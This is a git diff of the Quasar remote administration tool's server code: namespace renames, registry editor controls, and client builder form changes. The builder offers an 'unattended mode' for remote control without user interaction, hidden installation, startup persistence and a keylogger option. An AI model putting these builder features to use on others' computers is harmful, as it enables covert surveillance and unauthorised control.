Quasar.Server.Controls { public interface IRapidPictureBox { @@ -104,8 +104,7 @@ public void Start() /// public void Stop() { - if (_sWatch != null) - _sWatch.Stop(); + _sWatch?.Stop(); Running = false; } @@ -133,8 +132,7 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap) GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp; ResumeLayout(); - if (oldImage != null) - oldImage.Dispose(); + oldImage?.Dispose(); } } catch (InvalidOperationException) diff --git a/Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs similarity index 67% rename from Server/Controls/RegistryTreeView.cs rename to Quasar.Server/Controls/RegistryTreeView.cs index 7bdbc12da..13aabd061 100644 --- a/Server/Controls/RegistryTreeView.cs +++ b/Quasar.Server/Controls/RegistryTreeView.cs @@ -1,14 +1,9 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Windows.Forms; +using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class RegistryTreeView : TreeView { - public RegistryTreeView() { //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs new file mode 100644 index 000000000..050c133df --- /dev/null +++ b/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,72 @@ +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Registry; + +namespace Quasar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs new file mode 100644 index 000000000..21dc61de2 --- /dev/null +++ b/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace Quasar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs new file mode 100644 index 000000000..62a036840 --- /dev/null +++ b/Quasar.Server/Controls/WordTextBox.cs @@ -0,0 +1,171 @@ +using System; +using System.Globalization; +using System.Windows.Forms; +using Quasar.Server.Enums; + +namespace Quasar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if(value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if(Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar.Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs new file mode 100644 index 000000000..ba161bd7e --- /dev/null +++ b/Quasar.Server/Enums/TransferType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum TransferType + { + Upload, + Download + } +} diff --git a/Quasar.Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs new file mode 100644 index 000000000..ee6cd1b0f --- /dev/null +++ b/Quasar.Server/Enums/WordType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum WordType + { + DWORD, + QWORD + } +} diff --git a/Server/Core/Extensions/ListViewExtensions.cs b/Quasar.Server/Extensions/ListViewExtensions.cs similarity index 77% rename from Server/Core/Extensions/ListViewExtensions.cs rename to Quasar.Server/Extensions/ListViewExtensions.cs index 6568bd0a9..5a718d544 100644 --- a/Server/Core/Extensions/ListViewExtensions.cs +++ b/Quasar.Server/Extensions/ListViewExtensions.cs @@ -1,13 +1,15 @@ -using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; -namespace xServer.Core.Extensions +namespace Quasar.Server.Extensions { public static class ListViewExtensions { private const uint SET_COLUMN_WIDTH = 4126; - private const int AUTOSIZE_USEHEADER = -2; + private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2); /// /// Automatically determines the correct column size on the the given listview. @@ -18,7 +20,7 @@ public static void AutosizeColumns(this ListView targetListView) if (PlatformHelper.RunningOnMono) return; for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++) { - NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, lngColumn, AUTOSIZE_USEHEADER); + NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER); } } diff --git a/Server/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Extensions/RegistryKeyExtensions.cs similarity index 93% rename from Server/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Server/Extensions/RegistryKeyExtensions.cs index 7735bbe89..1baad3f0e 100644 --- a/Server/Core/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Server/Extensions/RegistryKeyExtensions.cs @@ -1,15 +1,15 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; +using System; +using Microsoft.Win32; -namespace xServer.Core.Extensions +namespace Quasar.Server.Extensions { public static class RegistryKeyExtensions { public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) { + if (valueData == null) + return "(value not set)"; + switch (valueKind) { case RegistryValueKind.Binary: diff --git a/Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs similarity index 90% rename from Server/Forms/FrmAbout.Designer.cs rename to Quasar.Server/Forms/FrmAbout.Designer.cs index 83497ef0b..1c9301771 100644 --- a/Server/Forms/FrmAbout.Designer.cs +++ b/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmAbout { @@ -43,7 +43,7 @@ private void InitializeComponent() // // picIcon // - this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server; + this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server; this.picIcon.Location = new System.Drawing.Point(12, 12); this.picIcon.Name = "picIcon"; this.picIcon.Size = new System.Drawing.Size(64, 64); @@ -64,7 +64,7 @@ private void InitializeComponent() // lblVersion // this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblVersion.Location = new System.Drawing.Point(341, 40); + this.lblVersion.Location = new System.Drawing.Point(438, 41); this.lblVersion.Name = "lblVersion"; this.lblVersion.Size = new System.Drawing.Size(75, 13); this.lblVersion.TabIndex = 2; @@ -74,7 +74,7 @@ private void InitializeComponent() // btnOkay // this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.btnOkay.Location = new System.Drawing.Point(341, 319); + this.btnOkay.Location = new System.Drawing.Point(438, 370); this.btnOkay.Name = "btnOkay"; this.btnOkay.Size = new System.Drawing.Size(75, 23); this.btnOkay.TabIndex = 7; @@ -84,11 +84,12 @@ private void InitializeComponent() // // rtxtContent // + this.rtxtContent.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.rtxtContent.Location = new System.Drawing.Point(15, 112); this.rtxtContent.Name = "rtxtContent"; this.rtxtContent.ReadOnly = true; this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.rtxtContent.Size = new System.Drawing.Size(401, 201); + this.rtxtContent.Size = new System.Drawing.Size(498, 252); this.rtxtContent.TabIndex = 6; this.rtxtContent.Text = ""; // @@ -105,23 +106,23 @@ private void InitializeComponent() // lnkCredits // this.lnkCredits.AutoSize = true; - this.lnkCredits.Location = new System.Drawing.Point(373, 80); + this.lnkCredits.Location = new System.Drawing.Point(415, 83); this.lnkCredits.Name = "lnkCredits"; - this.lnkCredits.Size = new System.Drawing.Size(43, 13); + this.lnkCredits.Size = new System.Drawing.Size(97, 13); this.lnkCredits.TabIndex = 4; this.lnkCredits.TabStop = true; - this.lnkCredits.Text = "Credits"; + this.lnkCredits.Text = "3rd-party licenses"; this.lnkCredits.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkCredits_LinkClicked); // // lnkGithubPage // this.lnkGithubPage.AutoSize = true; - this.lnkGithubPage.Location = new System.Drawing.Point(344, 60); + this.lnkGithubPage.Location = new System.Drawing.Point(441, 61); this.lnkGithubPage.Name = "lnkGithubPage"; - this.lnkGithubPage.Size = new System.Drawing.Size(72, 13); + this.lnkGithubPage.Size = new System.Drawing.Size(73, 13); this.lnkGithubPage.TabIndex = 3; this.lnkGithubPage.TabStop = true; - this.lnkGithubPage.Text = "GitHub Page"; + this.lnkGithubPage.Text = "GitHub page"; this.lnkGithubPage.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lnkGithubPage_LinkClicked); // // lblSubTitle @@ -130,17 +131,17 @@ private void InitializeComponent() this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.lblSubTitle.Location = new System.Drawing.Point(84, 37); this.lblSubTitle.Name = "lblSubTitle"; - this.lblSubTitle.Size = new System.Drawing.Size(171, 17); + this.lblSubTitle.Size = new System.Drawing.Size(170, 17); this.lblSubTitle.TabIndex = 1; this.lblSubTitle.Text = "Remote Administration Tool"; // // FrmAbout // this.AcceptButton = this.btnOkay; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.btnOkay; - this.ClientSize = new System.Drawing.Size(428, 354); + this.ClientSize = new System.Drawing.Size(525, 405); this.Controls.Add(this.lblSubTitle); this.Controls.Add(this.lnkGithubPage); this.Controls.Add(this.lnkCredits); diff --git a/Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs similarity index 63% rename from Server/Forms/FrmAbout.cs rename to Quasar.Server/Forms/FrmAbout.cs index 88a373050..104c1c2f0 100644 --- a/Server/Forms/FrmAbout.cs +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -1,21 +1,22 @@ using System; using System.Diagnostics; using System.Windows.Forms; -using xServer.Core.Data; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmAbout : Form { + private readonly string _repositoryUrl = @"https://github.com/quasar/Quasar"; + public FrmAbout() { InitializeComponent(); - lblVersion.Text = "v" + Application.ProductVersion; - rtxtContent.Text = Properties.Resources.TermsOfUse; + lblVersion.Text = $"v{Application.ProductVersion}"; + rtxtContent.Text = Properties.Resources.License; - lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL }); - lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" }); + lnkGithubPage.Links.Add(new LinkLabel.Link {LinkData = _repositoryUrl}); + lnkCredits.Links.Add(new LinkLabel.Link {LinkData = _repositoryUrl + "/tree/master/Licenses"}); } private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) @@ -35,4 +36,4 @@ private void btnOkay_Click(object sender, EventArgs e) this.Close(); } } -} \ No newline at end of file +} diff --git a/Server/Forms/FrmAbout.resx b/Quasar.Server/Forms/FrmAbout.resx similarity index 100% rename from Server/Forms/FrmAbout.resx rename to Quasar.Server/Forms/FrmAbout.resx diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs similarity index 84% rename from Server/Forms/FrmBuilder.Designer.cs rename to Quasar.Server/Forms/FrmBuilder.Designer.cs index de7de1d7c..8a36b2651 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmBuilder { @@ -39,28 +41,29 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.builderTabs = new xServer.Controls.DotNetBarTabControl(); + this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); this.generalPage = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.chkUnattendedMode = new System.Windows.Forms.CheckBox(); + this.line2 = new Quasar.Server.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); - this.line6 = new xServer.Controls.Line(); + this.line6 = new Quasar.Server.Controls.Line(); this.label8 = new System.Windows.Forms.Label(); this.txtTag = new System.Windows.Forms.TextBox(); this.label7 = new System.Windows.Forms.Label(); this.lblTag = new System.Windows.Forms.Label(); this.txtMutex = new System.Windows.Forms.TextBox(); this.btnMutex = new System.Windows.Forms.Button(); - this.line5 = new xServer.Controls.Line(); + this.line5 = new Quasar.Server.Controls.Line(); this.lblMutex = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.connectionPage = new System.Windows.Forms.TabPage(); this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); - this.line3 = new xServer.Controls.Line(); + this.line3 = new Quasar.Server.Controls.Line(); this.label4 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.line2 = new xServer.Controls.Line(); - this.label2 = new System.Windows.Forms.Label(); - this.line1 = new xServer.Controls.Line(); + this.line1 = new Quasar.Server.Controls.Line(); this.label1 = new System.Windows.Forms.Label(); this.lstHosts = new System.Windows.Forms.ListBox(); this.btnAddHost = new System.Windows.Forms.Button(); @@ -69,37 +72,35 @@ private void InitializeComponent() this.txtHost = new System.Windows.Forms.TextBox(); this.lblDelay = new System.Windows.Forms.Label(); this.lblPort = new System.Windows.Forms.Label(); - this.chkShowPass = new System.Windows.Forms.CheckBox(); - this.txtPassword = new System.Windows.Forms.TextBox(); - this.lblPassword = new System.Windows.Forms.Label(); this.installationPage = new System.Windows.Forms.TabPage(); - this.line7 = new xServer.Controls.Line(); + this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); + this.line7 = new Quasar.Server.Controls.Line(); this.label10 = new System.Windows.Forms.Label(); - this.line4 = new xServer.Controls.Line(); + this.line4 = new Quasar.Server.Controls.Line(); this.label5 = new System.Windows.Forms.Label(); this.chkInstall = new System.Windows.Forms.CheckBox(); - this.lblInstallname = new System.Windows.Forms.Label(); - this.txtInstallname = new System.Windows.Forms.TextBox(); + this.lblInstallName = new System.Windows.Forms.Label(); + this.txtInstallName = new System.Windows.Forms.TextBox(); this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); this.lblExtension = new System.Windows.Forms.Label(); this.lblRegistryKeyName = new System.Windows.Forms.Label(); this.chkStartup = new System.Windows.Forms.CheckBox(); this.rbAppdata = new System.Windows.Forms.RadioButton(); this.chkHide = new System.Windows.Forms.CheckBox(); - this.lblInstallpath = new System.Windows.Forms.Label(); - this.lblInstallsub = new System.Windows.Forms.Label(); + this.lblInstallDirectory = new System.Windows.Forms.Label(); + this.lblInstallSubDirectory = new System.Windows.Forms.Label(); this.lblPreviewPath = new System.Windows.Forms.Label(); - this.txtInstallsub = new System.Windows.Forms.TextBox(); + this.txtInstallSubDirectory = new System.Windows.Forms.TextBox(); this.txtPreviewPath = new System.Windows.Forms.TextBox(); this.assemblyPage = new System.Windows.Forms.TabPage(); this.iconPreview = new System.Windows.Forms.PictureBox(); this.btnBrowseIcon = new System.Windows.Forms.Button(); this.txtIconPath = new System.Windows.Forms.TextBox(); - this.line8 = new xServer.Controls.Line(); + this.line8 = new Quasar.Server.Controls.Line(); this.label11 = new System.Windows.Forms.Label(); this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); - this.line9 = new xServer.Controls.Line(); + this.line9 = new Quasar.Server.Controls.Line(); this.lblProductName = new System.Windows.Forms.Label(); this.label12 = new System.Windows.Forms.Label(); this.chkChangeIcon = new System.Windows.Forms.CheckBox(); @@ -117,11 +118,11 @@ private void InitializeComponent() this.lblCopyright = new System.Windows.Forms.Label(); this.lblTrademarks = new System.Windows.Forms.Label(); this.txtCopyright = new System.Windows.Forms.TextBox(); - this.surveillanceTab = new System.Windows.Forms.TabPage(); + this.monitoringTab = new System.Windows.Forms.TabPage(); this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); this.lblLogDirectory = new System.Windows.Forms.Label(); - this.line10 = new xServer.Controls.Line(); + this.line10 = new Quasar.Server.Controls.Line(); this.label14 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); @@ -135,7 +136,7 @@ private void InitializeComponent() this.installationPage.SuspendLayout(); this.assemblyPage.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); - this.surveillanceTab.SuspendLayout(); + this.monitoringTab.SuspendLayout(); this.SuspendLayout(); // // btnBuild @@ -150,7 +151,7 @@ private void InitializeComponent() // // picUAC2 // - this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC2.Location = new System.Drawing.Point(363, 88); this.picUAC2.Name = "picUAC2"; this.picUAC2.Size = new System.Drawing.Size(16, 20); @@ -161,7 +162,7 @@ private void InitializeComponent() // // picUAC1 // - this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.uac_shield; this.picUAC1.Location = new System.Drawing.Point(363, 68); this.picUAC1.Name = "picUAC1"; this.picUAC1.Size = new System.Drawing.Size(16, 20); @@ -206,7 +207,7 @@ private void InitializeComponent() // // removeHostToolStripMenuItem // - this.removeHostToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.removeHostToolStripMenuItem.Text = "Remove host"; @@ -214,7 +215,7 @@ private void InitializeComponent() // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22); this.clearToolStripMenuItem.Text = "Clear all"; @@ -227,7 +228,7 @@ private void InitializeComponent() this.builderTabs.Controls.Add(this.connectionPage); this.builderTabs.Controls.Add(this.installationPage); this.builderTabs.Controls.Add(this.assemblyPage); - this.builderTabs.Controls.Add(this.surveillanceTab); + this.builderTabs.Controls.Add(this.monitoringTab); this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); this.builderTabs.Location = new System.Drawing.Point(0, 0); @@ -241,6 +242,10 @@ private void InitializeComponent() // generalPage // this.generalPage.BackColor = System.Drawing.SystemColors.Control; + this.generalPage.Controls.Add(this.label3); + this.generalPage.Controls.Add(this.chkUnattendedMode); + this.generalPage.Controls.Add(this.line2); + this.generalPage.Controls.Add(this.label2); this.generalPage.Controls.Add(this.label9); this.generalPage.Controls.Add(this.line6); this.generalPage.Controls.Add(this.label8); @@ -259,6 +264,45 @@ private void InitializeComponent() this.generalPage.TabIndex = 4; this.generalPage.Text = "Basic Settings"; // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(17, 214); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(354, 26); + this.label3.TabIndex = 24; + this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " + + "interaction."; + // + // chkUnattendedMode + // + this.chkUnattendedMode.AutoSize = true; + this.chkUnattendedMode.Location = new System.Drawing.Point(20, 252); + this.chkUnattendedMode.Name = "chkUnattendedMode"; + this.chkUnattendedMode.Size = new System.Drawing.Size(157, 17); + this.chkUnattendedMode.TabIndex = 23; + this.chkUnattendedMode.Text = "Enable unattended mode"; + this.chkUnattendedMode.UseVisualStyleBackColor = true; + this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // line2 + // + this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(115, 196); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(270, 13); + this.line2.TabIndex = 22; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 196); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(101, 13); + this.label2.TabIndex = 21; + this.label2.Text = "Unattended mode"; + // // label9 // this.label9.AutoSize = true; @@ -271,8 +315,8 @@ private void InitializeComponent() // // line6 // - this.line6.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; - this.line6.Location = new System.Drawing.Point(83, 78); + this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line6.Location = new System.Drawing.Point(85, 78); this.line6.Name = "line6"; this.line6.Size = new System.Drawing.Size(300, 13); this.line6.TabIndex = 20; @@ -289,9 +333,9 @@ private void InitializeComponent() // // txtTag // - this.txtTag.Location = new System.Drawing.Point(182, 40); + this.txtTag.Location = new System.Drawing.Point(130, 40); this.txtTag.Name = "txtTag"; - this.txtTag.Size = new System.Drawing.Size(203, 22); + this.txtTag.Size = new System.Drawing.Size(255, 22); this.txtTag.TabIndex = 3; this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); // @@ -300,7 +344,7 @@ private void InitializeComponent() this.label7.AutoSize = true; this.label7.Location = new System.Drawing.Point(17, 20); this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(232, 13); + this.label7.Size = new System.Drawing.Size(231, 13); this.label7.TabIndex = 1; this.label7.Text = "You can choose a tag to identify your client."; // @@ -315,16 +359,15 @@ private void InitializeComponent() // // txtMutex // - this.txtMutex.Location = new System.Drawing.Point(182, 130); + this.txtMutex.Location = new System.Drawing.Point(130, 130); this.txtMutex.MaxLength = 64; this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(201, 22); + this.txtMutex.Size = new System.Drawing.Size(253, 22); this.txtMutex.TabIndex = 7; this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); // // btnMutex // - this.btnMutex.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.btnMutex.Location = new System.Drawing.Point(262, 158); this.btnMutex.Name = "btnMutex"; this.btnMutex.Size = new System.Drawing.Size(121, 23); @@ -335,7 +378,7 @@ private void InitializeComponent() // // line5 // - this.line5.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line5.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line5.Location = new System.Drawing.Point(112, 5); this.line5.Name = "line5"; this.line5.Size = new System.Drawing.Size(271, 13); @@ -367,9 +410,6 @@ private void InitializeComponent() this.connectionPage.Controls.Add(this.numericUpDownDelay); this.connectionPage.Controls.Add(this.line3); this.connectionPage.Controls.Add(this.label4); - this.connectionPage.Controls.Add(this.label3); - this.connectionPage.Controls.Add(this.line2); - this.connectionPage.Controls.Add(this.label2); this.connectionPage.Controls.Add(this.line1); this.connectionPage.Controls.Add(this.label1); this.connectionPage.Controls.Add(this.lstHosts); @@ -379,9 +419,6 @@ private void InitializeComponent() this.connectionPage.Controls.Add(this.txtHost); this.connectionPage.Controls.Add(this.lblDelay); this.connectionPage.Controls.Add(this.lblPort); - this.connectionPage.Controls.Add(this.chkShowPass); - this.connectionPage.Controls.Add(this.txtPassword); - this.connectionPage.Controls.Add(this.lblPassword); this.connectionPage.Location = new System.Drawing.Point(140, 4); this.connectionPage.Name = "connectionPage"; this.connectionPage.Padding = new System.Windows.Forms.Padding(3); @@ -413,7 +450,7 @@ private void InitializeComponent() // // numericUpDownDelay // - this.numericUpDownDelay.Location = new System.Drawing.Point(276, 282); + this.numericUpDownDelay.Location = new System.Drawing.Point(276, 178); this.numericUpDownDelay.Maximum = new decimal(new int[] { 600000, 0, @@ -431,8 +468,8 @@ private void InitializeComponent() // // line3 // - this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; - this.line3.Location = new System.Drawing.Point(95, 263); + this.line3.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line3.Location = new System.Drawing.Point(95, 159); this.line3.Name = "line3"; this.line3.Size = new System.Drawing.Size(290, 13); this.line3.TabIndex = 18; @@ -441,43 +478,15 @@ private void InitializeComponent() // label4 // this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(6, 263); + this.label4.Location = new System.Drawing.Point(6, 159); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(92, 13); this.label4.TabIndex = 17; this.label4.Text = "Reconnect Delay"; // - // label3 - // - this.label3.AutoSize = true; - this.label3.ForeColor = System.Drawing.Color.SteelBlue; - this.label3.Location = new System.Drawing.Point(17, 179); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(318, 13); - this.label3.TabIndex = 16; - this.label3.Text = "Don\'t forget to set the same password in the server settings."; - // - // line2 - // - this.line2.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; - this.line2.Location = new System.Drawing.Point(123, 161); - this.line2.Name = "line2"; - this.line2.Size = new System.Drawing.Size(260, 13); - this.line2.TabIndex = 15; - this.line2.TabStop = false; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(6, 161); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(121, 13); - this.label2.TabIndex = 14; - this.label2.Text = "Encrypted Connection"; - // // line1 // - this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line1.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; this.line1.Location = new System.Drawing.Point(104, 5); this.line1.Name = "line1"; this.line1.Size = new System.Drawing.Size(281, 13); @@ -516,7 +525,7 @@ private void 